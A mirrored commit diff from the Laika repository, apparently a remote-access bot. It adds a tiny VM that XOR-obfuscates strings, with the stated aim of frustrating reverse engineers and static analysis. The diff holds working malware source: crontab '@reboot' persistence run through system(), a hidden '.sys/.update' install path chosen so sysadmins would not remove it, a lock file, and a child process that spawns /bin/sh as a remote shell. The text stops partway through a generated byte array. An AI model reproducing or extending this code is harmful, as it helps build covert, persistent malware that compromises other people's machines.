1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 21:41:04 +00:00

Implemented VMBoxes, linux persistence related strings are obfuscated, added VMBoxGen tool

- lboxconfig.h holds obfuscated data, which is generated by VMBoxGen
- linpersist.c now uses obfuscated strings
This commit is contained in:
CPunch 2022-05-09 16:41:01 -05:00
parent 7ca855410d
commit 71db213261
11 changed files with 232 additions and 27 deletions

View File

@ -46,7 +46,7 @@ Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server. Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes ## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information (currently unused, but functional). For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends ## Bot: Platform-specific backends

View File

@ -10,16 +10,10 @@
#include "lconfig.h" #include "lconfig.h"
#include "lsocket.h" #include "lsocket.h"
#include "lerror.h" #include "lerror.h"
#include "lbox.h"
#include "lboxconfig.h"
#include "lmem.h" #include "lmem.h"
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_INSTALL_DIR_USER ".sys"
#define LAIKA_INSTALL_FILE_USER ".update"
static int laikaB_lockFile; static int laikaB_lockFile;
/* check if laika is running as super-user */ /* check if laika is running as super-user */
@ -29,15 +23,18 @@ bool laikaB_checkRoot() {
/* mark that laika is currently running */ /* mark that laika is currently running */
void laikaB_markRunning() { void laikaB_markRunning() {
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_LOCK_FILE_KEY), LAIKA_LIN_LOCK_FILE_DATA);
/* create lock file */ /* create lock file */
if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1) if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n"); LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
/* create lock */ /* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0) if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
LAIKA_ERROR("Failed to create file lock!\n"); LAIKA_ERROR("Failed to create file lock!\n");
LAIKA_DEBUG("file lock created!\n"); LAIKA_DEBUG("file lock created!\n");
LAIKA_BOX_ENDVAR(filePath);
} }
/* unmark that laika is currently running */ /* unmark that laika is currently running */
@ -70,13 +67,17 @@ void getInstallPath(char *outPath, int pathSz) {
} }
/* create install directory if it doesn't exist */ /* create install directory if it doesn't exist */
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER); LAIKA_BOX_STARTVAR(char*, dirPath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_DIR_KEY), LAIKA_LIN_INSTALL_DIR_DATA);
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_FILE_KEY), LAIKA_LIN_INSTALL_FILE_DATA);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) { if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath); LAIKA_DEBUG("creating '%s'...\n", outPath);
mkdir(outPath, 0700); mkdir(outPath, 0700);
} }
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER); snprintf(outPath, pathSz, "%s/%s/%s", home, dirPath, filePath);
LAIKA_BOX_ENDVAR(dirPath);
LAIKA_BOX_ENDVAR(filePath);
} }
bool checkPersistCron(char *path) { bool checkPersistCron(char *path) {
@ -100,16 +101,18 @@ bool checkPersistCron(char *path) {
} }
void tryPersistCron(char *path) { void tryPersistCron(char *path) {
LAIKA_BOX_STARTVAR(char*, cronCMD, LAIKA_BOX_SKID(LAIKA_LIN_CRONTAB_ENTRY_KEY), LAIKA_LIN_CRONTAB_ENTRY_DATA);
char cmd[PATH_MAX + 128]; char cmd[PATH_MAX + 128];
/* should be 'safe enough' */ /* should be 'safe enough' */
snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path); snprintf(cmd, PATH_MAX + 128, cronCMD, path);
/* add laika to crontab */ /* add laika to crontab */
if (system(cmd)) if (system(cmd))
LAIKA_ERROR("failed to install '%s' to crontab!\n", path); LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
LAIKA_DEBUG("Installed '%s' to crontab!\n", path); LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
LAIKA_BOX_ENDVAR(cronCMD);
} }
/* try to gain persistance on machine */ /* try to gain persistance on machine */

View File

@ -13,6 +13,8 @@
#include "bot.h" #include "bot.h"
#include "shell.h" #include "shell.h"
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell { struct sLaika_RAWshell {
struct sLaika_shell _shell; struct sLaika_shell _shell;
int pid; int pid;
@ -30,7 +32,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) { if (shell->pid == 0) {
/* child process, clone & run shell */ /* child process, clone & run shell */
execlp("/bin/sh", "sh", (char*) NULL); execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
exit(0); exit(0);
} }

View File

@ -8,9 +8,14 @@
#include "lvm.h" #include "lvm.h"
#include "lsodium.h" #include "lsodium.h"
#define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256 #define LAIKA_BOX_HEAPSIZE 256
#define LAIKA_BOX_UNLOCKED_INDX 0
#define LAIKA_BOX_DATA_INDX 1 enum {
LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
};
/* Laika Box: /* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time. Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
@ -21,13 +26,32 @@
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. Some predefined boxes are made for you to use. dumping. Some predefined boxes are made for you to use.
Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed
to these, which are generated by VMBoxGen (`tools/vmboxgen`).
*/ */
struct sLaikaB_box { struct sLaikaB_box {
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE]; uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
}; };
#define LAIKA_BOX_STARTVAR(type, ident, box, datamacro) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = datamacro; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) \
laikaB_lock(&__box##ident);
#define LAIKA_BOX_NOOP { \
.unlockedData = {0}, \
.code = {0} \
}
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */
#define LAIKA_BOX_SKID(_key) { \ #define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \ .unlockedData = {0}, /* reserved */ \
@ -56,6 +80,7 @@ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */ /* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList = { .constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData), [LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
}, },
.code = {0}, .code = {0},
@ -71,6 +96,7 @@ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */ /* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) { LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) {
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
} }
#endif #endif

24
lib/include/lboxconfig.h Normal file
View File

@ -0,0 +1,24 @@
/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */
#ifndef LAIKA_VMBOX_CONFIG_H
#define LAIKA_VMBOX_CONFIG_H
#define LAIKA_LIN_LOCK_FILE_KEY 0xac
#define LAIKA_LIN_LOCK_FILE_DATA {0x83, 0xd8, 0xc1, 0xdc, 0x83, 0x9b, 0xcf, 0xcd, 0x94, 0x99, 0x99, 0x98, 0xac, 0x28, 0xc7, 0x80, 0xd2, 0xac, 0xe1, 0xcd, 0x97, 0xc0, 0x2a, 0x63, 0x3e, 0xfb, 0x7f, 0xc5, 0xdc, 0x34, 0x8b, 0x7c, 0x6e, 0xb3, 0xcc, 0xee, 0x5e, 0x5a, 0x83, 0xca, 0x99, 0x9f, 0x00, 0x46, 0xc7, 0xc7, 0x46, 0x1b, 0x75, 0xa7, 0xe8, 0x0d, 0x68, 0x14, 0xf0, 0xa6, 0x8f, 0x70, 0xec, 0xeb, 0xa5, 0xf7, 0x69, 0x14, 0xab, 0xb5, 0x03, 0x89, 0x8f, 0x06, 0xd3, 0x29, 0xa5, 0xd4, 0xee, 0x6d, 0x9c, 0x36, 0x88, 0x12, 0x5d, 0xf1, 0x9f, 0x46, 0x85, 0x90, 0xec, 0x15, 0x01, 0xd9, 0x02, 0x26, 0x51, 0xea, 0x3a, 0xfd, 0xa0, 0xbc, 0x07, 0xb0, 0xc2, 0xdb, 0xd9, 0x68, 0x30, 0xc9, 0x56, 0xcc, 0x7f, 0xde, 0x5f, 0xdc, 0x50, 0xfe, 0x23, 0xd5, 0x8f, 0x90, 0xeb, 0x10, 0xe9, 0xed, 0x37, 0x3c, 0x58, 0xf0, 0xb9, 0xf8, 0xae, 0x40, 0xa9, 0xf0, 0x1c, 0x04, 0xd9, 0x4c, 0x4d, 0x30, 0x99, 0xcc, 0x8e, 0xf8, 0x29, 0xdf, 0xf7, 0xcc, 0x35, 0x07, 0xdc, 0x21, 0x17, 0xc6, 0x8e, 0x4e, 0x82, 0xe6, 0x40, 0x3c, 0x60, 0x6e, 0x7d, 0x89, 0xde, 0x19, 0x0d, 0xb8, 0xe5, 0x5a, 0x68, 0x7f, 0xa6, 0xf7, 0x78, 0xd0, 0x57, 0xef, 0x1d, 0x8c, 0xf6, 0xf9, 0x2e, 0x8d, 0x40, 0x3c, 0xdc, 0xc3, 0xa3, 0x9c, 0x00, 0x83, 0x8a, 0xfc, 0x8c, 0x69, 0x96, 0x9a, 0x23, 0x7c, 0x74, 0x0b, 0xfb, 0x1c, 0x03, 0xf3, 0x6c, 0xd9, 0xe3, 0x89, 0xe6, 0x5a, 0x03, 0x15, 0xe7, 0x43, 0xd0, 0x44, 0x07, 0x74, 0x60, 0x87, 0xf7, 0xea, 0x04, 0x85, 0xd4, 0x9a, 0x9f, 0x77, 0x17, 0x14, 0x82, 0x92, 0x30, 0x06, 0x06, 0x9c, 0xdf, 0xe9, 0xa5, 0xc6, 0xc3, 0x28, 0x5b, 0xac, 0x6c, 0x2d, 0x70, 0x73, 0x21, 0xd1, 0x7a, 0x1a, 0x3c, 0x7f, 0x1f, 0x11, 0x1a, 0xbe, 0x88, 0xb1, 0xd2, 0x8b, 0x44, 0x83, 0x91, 0x4b, 0x9f, 0xf0, 0xb4, 0x46, 0xb8, 0xf8, 0x6e, 0x93, 0x25, 0x5a, 0x40, 0x95, 0x4e, 0xe1, 0xe6, 0xc8, 0xfb, 0x24, 0x48, 0x9a, 0xb4, 0xe2, 0x59, 0xbd, 0x94, 0xab, 0x49, 0x58, 0x2f, 0xda, 0x23, 0xcf, 0xcb, 0x58, 0x95, 0x04, 0x51, 0x83, 0x18, 0x76, 0x5e, 0xd7, 0x8b, 0xac, 0xb9, 0x73, 0x75, 0x35, 0x17, 0x3e, 0xcf, 0xcb, 0x21, 0xa8, 0x89, 0x35, 0xd4, 0x52, 0x8d, 0x83, 0x2d, 0x31, 0xd2, 0x79, 0x89, 0x68, 0xfc, 0xda, 0x6c, 0x15, 0xd0, 0xca, 0x6d, 0x5c, 0xf6, 0x27, 0xcf, 0x6c, 0x5d, 0x66, 0x2a, 0xac, 0x33, 0xca, 0x56, 0x3c, 0x00, 0xaa, 0x8f, 0x0e, 0x2e, 0x3c, 0x3f, 0x02, 0xb5, 0x48, 0xe9, 0x33, 0x23, 0xd5, 0xc7, 0x73, 0x20, 0x35, 0xcf, 0x17, 0x5d, 0x20, 0x04, 0x3a, 0x86, 0x2e, 0xe6, 0x39, 0xf9, 0xbc, 0x76, 0x79, 0x67, 0x85, 0x07, 0x16, 0xc1, 0x46, 0x18, 0xf7, 0x8e, 0x81, 0x2b, 0x31, 0x58, 0xf2, 0xa4, 0x78, 0x29, 0xf4, 0x10, 0x06, 0x94, 0x14, 0x40, 0x9a, 0x42, 0xa6, 0xd4, 0xbb, 0x64, 0xca, 0xb5, 0x4b, 0x50, 0xbc, 0x61, 0x12, 0x04, 0x79, 0x0a, 0x12, 0x7b, 0xb4, 0xc3, 0xd3, 0xa8, 0xe7, 0xcb, 0x51, 0x5c, 0xdb, 0x57, 0xf0, 0xef, 0x17, 0x8c, 0xb2, 0xbd, 0xe0, 0x6e, 0x22, 0xab, 0x24, 0xed, 0xfb, 0xe1, 0x4f, 0x8d, 0x65, 0x49, 0x18, 0xf6, 0xc4, 0xcc, 0x3a, 0x98, 0x75, 0x23, 0x64, 0xc6, 0x7f, 0xc0, 0x9d, 0xf0, 0xb0, 0xb4, 0xfc, 0x63, 0x73, 0xdd, 0x52, 0x15, 0x09, 0xf5, 0x03, 0x84, 0x57, 0x53, 0x12, 0x3c, 0x1c, 0x2a, 0xb3, 0xe0, 0x77, 0xed, 0xf8, 0xec, 0x11, 0xdc, 0x34, 0x11, 0x9d, 0x51, 0x81, 0x4f, 0x07, 0x7e, 0x32, 0xf9, 0xdb, 0x04, 0x0f, 0xe4, 0xfa, 0x92, 0x69, 0xd1, 0x65};
#define LAIKA_LIN_INSTALL_DIR_KEY 0x7b
#define LAIKA_LIN_INSTALL_DIR_DATA {0x55, 0x08, 0x02, 0x08, 0x7b, 0x0f, 0x81, 0x26, 0xc2, 0xe1, 0x9d, 0x30, 0xda, 0x0a, 0xc1, 0xb7, 0xbd, 0x52, 0xd5, 0x10, 0xd3, 0xa4, 0x96, 0xd1, 0xd6, 0x90, 0xad, 0x5b, 0x1f, 0x92, 0x56, 0x31, 0xfb, 0xa7, 0x96, 0xf6, 0x36, 0x97, 0x9c, 0x78, 0x79, 0xb9, 0xa9, 0xd3, 0xc4, 0x6b, 0x8c, 0x82, 0xbd, 0xe1, 0x12, 0x11, 0x86, 0xa8, 0xe2, 0xdc, 0xb8, 0x90, 0x38, 0xd8, 0x23, 0x0e, 0x89, 0x9e, 0xb6, 0x21, 0x15, 0x6c, 0xb8, 0x32, 0xe5, 0xb2, 0xeb, 0x8f, 0x86, 0xb0, 0x7a, 0x92, 0xb3, 0xb7, 0x74, 0x45, 0xc8, 0xfa, 0x6e, 0xab, 0x58, 0x27, 0x3c, 0x90, 0x7f, 0xde, 0x9f, 0x0a, 0xfc, 0xd5, 0x2b, 0x12, 0x42, 0x63, 0x44, 0xa7, 0x16, 0x31, 0xb6, 0x9d, 0x61, 0x31, 0x30, 0x94, 0xe8, 0xa5, 0x5a, 0x31, 0x20, 0xc8, 0xdc, 0xf7, 0xef, 0x19, 0x89, 0x70, 0x77, 0xa8, 0x7a, 0x74, 0xfd, 0x25, 0x07, 0xbf, 0x08, 0xca, 0x68, 0x1f, 0x7b, 0x1f, 0x3c, 0xdd, 0xd0, 0x6c, 0xf1, 0x39, 0x91, 0xcb, 0x6b, 0x32, 0x94, 0xc7, 0x2a, 0x05, 0x61, 0x33, 0x75, 0xd8, 0xdb, 0x6f, 0xcd, 0xd9, 0x14, 0xd4, 0x1a, 0x1c, 0x9f, 0x82, 0x3b, 0x1c, 0x21, 0xf6, 0x79, 0x71, 0x64, 0xea, 0x2b, 0x75, 0xb7, 0x16, 0x27, 0xcb, 0xdd, 0x52, 0xd0, 0x3f, 0x85, 0xc5, 0x98, 0xe1, 0x35, 0x66, 0x3b, 0xc8, 0xba, 0x55, 0xe5, 0xd9, 0x57, 0xa0, 0xf5, 0xf8, 0x98, 0xee, 0xe9, 0x7c, 0x5a, 0x15, 0xf1, 0x12, 0x2b, 0x1a, 0xdd, 0x89, 0xeb, 0x2f, 0x48, 0xf0, 0xf4, 0xe0, 0xd2, 0x2b, 0xc6, 0x8e, 0x73, 0x01, 0x63, 0x59, 0xdb, 0xbb, 0x7a, 0x51, 0x34, 0x13, 0x41, 0x1e, 0x0f, 0x1b, 0xb3, 0x01, 0x2d, 0xde, 0x9a, 0x8a, 0xe7, 0x06, 0xb9, 0x31, 0xf7, 0x2f, 0x91, 0x4a, 0xd9, 0xd8, 0xd8, 0x4d, 0xd9, 0xbc, 0x27, 0xb5, 0x78, 0xa1, 0x87, 0x2c, 0x34, 0x48, 0x4a, 0x43, 0x63, 0xfd, 0xc3, 0x10, 0x5d, 0x5f, 0x9a, 0xc4, 0xe4, 0xd4, 0xf5, 0xdc, 0x04, 0x08, 0xa7, 0x5d, 0xe0, 0x80, 0xaa, 0xba, 0xbc, 0xd1, 0xf0, 0x35, 0x73, 0x78, 0xe0, 0x27, 0xc0, 0xab, 0x6a, 0x24, 0xa9, 0x2f, 0x34, 0x86, 0x0e, 0x4e, 0xcb, 0xf2, 0xa2, 0x41, 0xd0, 0x26, 0x49, 0xf7, 0x83, 0x2a, 0x78, 0x2f, 0x65, 0x36, 0x80, 0xd5, 0xea, 0x74, 0x4e, 0x4c, 0x9b, 0x8e, 0xf7, 0x86, 0xb2, 0x21, 0xb5, 0x66, 0x28, 0x43, 0xb4, 0xf3, 0x36, 0xd7, 0x35, 0x86, 0xfd, 0x7f, 0x7e, 0x82, 0x29, 0x77, 0x31, 0x0e, 0x2d, 0x31, 0xe3, 0x97, 0x25, 0x32, 0xe3, 0xc1, 0xc0, 0xdb, 0x48, 0xf2, 0xfd, 0x7d, 0x59, 0x26, 0xc0, 0x8e, 0x99, 0x76, 0x66, 0xce, 0x7d, 0xe3, 0x4e, 0xfb, 0xe5, 0xf7, 0xf2, 0x17, 0x06, 0x20, 0xc8, 0xea, 0xb8, 0xed, 0x9c, 0x1c, 0x2f, 0xdd, 0x78, 0xf6, 0x50, 0x76, 0x74, 0x2a, 0x1c, 0xb4, 0xb8, 0xb5, 0xab, 0x9e, 0x04, 0x29, 0x82, 0x53, 0xa4, 0x69, 0xca, 0x98, 0x00, 0x50, 0x38, 0xc8, 0x3b, 0x70, 0x37, 0x58, 0x8d, 0x66, 0xb5, 0x06, 0x5e, 0x06, 0xfb, 0x52, 0x30, 0x97, 0x87, 0x68, 0x4d, 0x33, 0x86, 0x51, 0x5c, 0x0a, 0x24, 0x80, 0xf2, 0x6e, 0x19, 0x72, 0xbf, 0x52, 0xbb, 0x7a, 0xc2, 0xf2, 0x52, 0xcf, 0x59, 0x08, 0xd5, 0x37, 0x8e, 0x51, 0x8a, 0x3e, 0xe8, 0x91, 0xa7, 0xb5, 0xc4, 0x2e, 0x08, 0xa0, 0xb7, 0xab, 0x21, 0x2a, 0x9a, 0x3b, 0x9d, 0x5a, 0x0d, 0x59, 0xd4, 0x4f, 0xcb, 0x28, 0x20, 0x25, 0xaf, 0x75, 0xdc, 0x3e, 0xc7, 0xe6, 0x7d, 0xb0, 0x78, 0xa4, 0x67, 0xbc, 0x52, 0xee, 0x5d, 0x8a, 0x1a, 0x7e, 0xb4, 0xb4, 0x39, 0xd1, 0x0f, 0xc5, 0x2b, 0x64, 0x16, 0xf6, 0x0c, 0x36, 0x9c, 0xbb, 0xab, 0xf8};
#define LAIKA_LIN_INSTALL_FILE_KEY 0x7a
#define LAIKA_LIN_INSTALL_FILE_DATA {0x54, 0x0f, 0x0a, 0x1e, 0x1b, 0x0e, 0x1f, 0x7a, 0x73, 0xdf, 0x77, 0x25, 0xd7, 0x1c, 0x0c, 0x94, 0xed, 0xfa, 0xf1, 0x78, 0x15, 0xef, 0xad, 0xca, 0xa9, 0x7f, 0x59, 0x6f, 0x2b, 0xbd, 0x85, 0xa1, 0x49, 0x3b, 0x3e, 0x06, 0xe7, 0xb6, 0x00, 0xda, 0x96, 0x77, 0x7f, 0x6e, 0x13, 0x8b, 0x82, 0x01, 0x06, 0x74, 0xf9, 0x1c, 0xe4, 0x27, 0x66, 0x8e, 0xa6, 0xbf, 0xfd, 0x51, 0xfd, 0x84, 0xf3, 0x47, 0xbf, 0x32, 0xcc, 0x27, 0xe9, 0xcc, 0x82, 0x00, 0x44, 0x81, 0xee, 0x57, 0x8d, 0x71, 0xd8, 0x93, 0x66, 0x52, 0xaf, 0x4b, 0x79, 0x95, 0xd9, 0x20, 0x56, 0xd7, 0x72, 0x54, 0xdb, 0xe5, 0x1b, 0x1c, 0x97, 0xe8, 0x43, 0x01, 0xb5, 0x45, 0x02, 0x7a, 0xc7, 0x70, 0x51, 0x55, 0x61, 0xa9, 0xe8, 0xc7, 0xfb, 0x19, 0x13, 0x75, 0xae, 0x6c, 0x16, 0x84, 0x45, 0x08, 0x58, 0x21, 0xed, 0x74, 0x3d, 0x85, 0x5d, 0x01, 0x87, 0x92, 0xc5, 0x09, 0x8c, 0x8d, 0x79, 0xde, 0x62, 0xda, 0x88, 0xcb, 0x23, 0x05, 0x64, 0x36, 0x7a, 0x13, 0x23, 0x10, 0x18, 0x68, 0x18, 0x70, 0x09, 0x06, 0x64, 0xc6, 0x0c, 0x41, 0x47, 0x13, 0xd4, 0x0d, 0x1c, 0xe0, 0x1b, 0x15, 0xbf, 0xfc, 0xef, 0xc8, 0xc8, 0x92, 0x4d, 0x2d, 0x49, 0xc7, 0xc0, 0x6c, 0xd8, 0xd8, 0x54, 0x70, 0xc8, 0x5d, 0xf6, 0x2e, 0xa3, 0x03, 0x6f, 0x6a, 0x16, 0xc3, 0x78, 0xb1, 0xa5, 0x13, 0xc6, 0xe4, 0x10, 0x36, 0x2d, 0xd9, 0xc9, 0x7a, 0x86, 0x13, 0x43, 0x47, 0x7f, 0x9b, 0x9f, 0xd3, 0x8b, 0x69, 0xb0, 0x82, 0x97, 0x55, 0x05, 0x07, 0xbf, 0x9a, 0xcb, 0xb7, 0x4c, 0xf0, 0x4a, 0x92, 0xd5, 0x5b, 0xc9, 0x04, 0xb4, 0x93, 0x7e, 0xba, 0x26, 0x41, 0x82, 0xa5, 0x5c, 0x22, 0xf8, 0xe8, 0x8b, 0xa9, 0x6b, 0xa2, 0x7e, 0x71, 0x2a, 0xbe, 0x8b, 0x75, 0xf5, 0xd8, 0x66, 0x41, 0x6b, 0x3c, 0x1c, 0xb4, 0xbf, 0x50, 0x48, 0x3f, 0x8a, 0xed, 0x00, 0x0d, 0x93, 0x5d, 0x30, 0x0c, 0xc5, 0x3b, 0x36, 0x31, 0xde, 0xb4, 0x22, 0x88, 0xf2, 0x2e, 0xfd, 0x69, 0x07, 0x64, 0xaa, 0xf1, 0x20, 0x46, 0xa7, 0xe0, 0x16, 0x6f, 0x9f, 0xa0, 0x5e, 0x9f, 0xae, 0x71, 0x7c, 0x5e, 0x7e, 0x42, 0x99, 0xb4, 0xf3, 0xf7, 0xe8, 0x95, 0x80, 0xdc, 0xc3, 0x7e, 0x46, 0x4a, 0x62, 0x70, 0x3d, 0x83, 0x36, 0xe4, 0x64, 0xcb, 0xd3, 0x83, 0x6c, 0x32, 0x23, 0x9a, 0xa4, 0x20, 0xf8, 0x23, 0x62, 0x93, 0xd7, 0xd5, 0x0b, 0x40, 0x6c, 0x8c, 0x1d, 0xaf, 0x0b, 0xe2, 0xfa, 0x6e, 0xd2, 0xb7, 0x71, 0x88, 0x1c, 0x55, 0x54, 0xef, 0xd8, 0x41, 0x23, 0x7b, 0xdb, 0xc7, 0x9b, 0x55, 0x6a, 0x7e, 0x68, 0xc1, 0xd3, 0x73, 0x02, 0xbf, 0x00, 0x9f, 0x70, 0x8b, 0x02, 0xea, 0x79, 0xd5, 0xa2, 0xea, 0x5e, 0xbe, 0x40, 0xb3, 0xae, 0x98, 0xf4, 0x51, 0x14, 0x50, 0x98, 0x30, 0xa5, 0x03, 0xae, 0x0e, 0x44, 0x02, 0x82, 0x47, 0xc2, 0x02, 0x66, 0x33, 0x8d, 0x68, 0x9d, 0x07, 0x3e, 0x40, 0x71, 0x1d, 0x7e, 0x31, 0x50, 0xac, 0xc9, 0xc4, 0xfe, 0x5e, 0x15, 0x17, 0x8e, 0xbb, 0x1b, 0xbc, 0x49, 0xde, 0xbe, 0xcb, 0x26, 0x81, 0xce, 0x0c, 0x34, 0xdb, 0x75, 0xd1, 0x63, 0x33, 0x91, 0xd4, 0x50, 0x10, 0x86, 0x20, 0xbd, 0xcf, 0xe4, 0x3c, 0xad, 0xfa, 0x53, 0x3c, 0x36, 0xed, 0x78, 0x7f, 0xcd, 0xb7, 0xcb, 0x73, 0x39, 0x9a, 0x80, 0xed, 0xf5, 0x75, 0xbf, 0x59, 0xa8, 0x52, 0xae, 0x79, 0xe1, 0x35, 0x99, 0x9f, 0x84, 0x7f, 0x5b, 0x33, 0x7a, 0x2f, 0xee, 0x30, 0x9c, 0x68, 0xaf, 0x6a, 0x20, 0x7b, 0x5e, 0xd8, 0x95, 0x5e, 0xc6, 0x8c, 0xd3, 0x07, 0x65, 0x7c, 0xd8, 0x14, 0xf5, 0xba};
#define LAIKA_LIN_CRONTAB_ENTRY_KEY 0xc8
#define LAIKA_LIN_CRONTAB_ENTRY_DATA {0xe0, 0xab, 0xba, 0xa7, 0xa6, 0xbc, 0xa9, 0xaa, 0xe8, 0xe5, 0xa4, 0xe8, 0xf3, 0xe8, 0xad, 0xab, 0xa0, 0xa7, 0xe8, 0xea, 0x88, 0xba, 0xad, 0xaa, 0xa7, 0xa7, 0xbc, 0xe8, 0xed, 0xbb, 0xea, 0xe1, 0xb4, 0xe8, 0xab, 0xba, 0xa7, 0xa6, 0xbc, 0xa9, 0xaa, 0xe8, 0xe5, 0xc8, 0x10, 0xda, 0x4e, 0x8f, 0x36, 0x01, 0x89, 0xe4, 0xef, 0xb9, 0x82, 0xd7, 0xe8, 0x6c, 0x77, 0xe4, 0xca, 0x51, 0x7a, 0xa8, 0x97, 0x86, 0x7c, 0x1e, 0xec, 0x79, 0xf6, 0x01, 0xee, 0xb2, 0x4a, 0xfe, 0x8d, 0x18, 0x0e, 0x43, 0x19, 0x97, 0x29, 0x88, 0xd0, 0xab, 0x61, 0xba, 0x18, 0x58, 0x1f, 0x63, 0xa9, 0x19, 0x0c, 0xc1, 0xa0, 0x09, 0xdf, 0x0d, 0x82, 0xd7, 0x8d, 0xf0, 0x0a, 0xd7, 0x70, 0x97, 0xef, 0x7e, 0x5a, 0x09, 0x17, 0x83, 0x12, 0x67, 0xae, 0x73, 0x22, 0xc7, 0xcb, 0x41, 0xaa, 0xf5, 0x5b, 0x36, 0x37, 0x7b, 0x3f, 0x17, 0x88, 0x41, 0x6e, 0x16, 0x33, 0x78, 0x6e, 0x23, 0x8f, 0x5e, 0xa1, 0xea, 0xe7, 0x38, 0xed, 0xf9, 0xa0, 0x9d, 0xec, 0x42, 0xe4, 0x38, 0x84, 0x8f, 0xad, 0x5f, 0xc5, 0xe4, 0x5a, 0x85, 0x7c, 0xe2, 0xc6, 0xea, 0x78, 0x79, 0xe3, 0x66, 0x9c, 0x73, 0x45, 0x3f, 0xdd, 0xac, 0xf6, 0xcc, 0x26, 0x97, 0xe9, 0x92, 0xda, 0xce, 0xca, 0xde, 0xdd, 0x79, 0xbd, 0x23, 0xdd, 0x18, 0xa8, 0x5a, 0x7a, 0xef, 0x46, 0x72, 0x69, 0xa9, 0xd9, 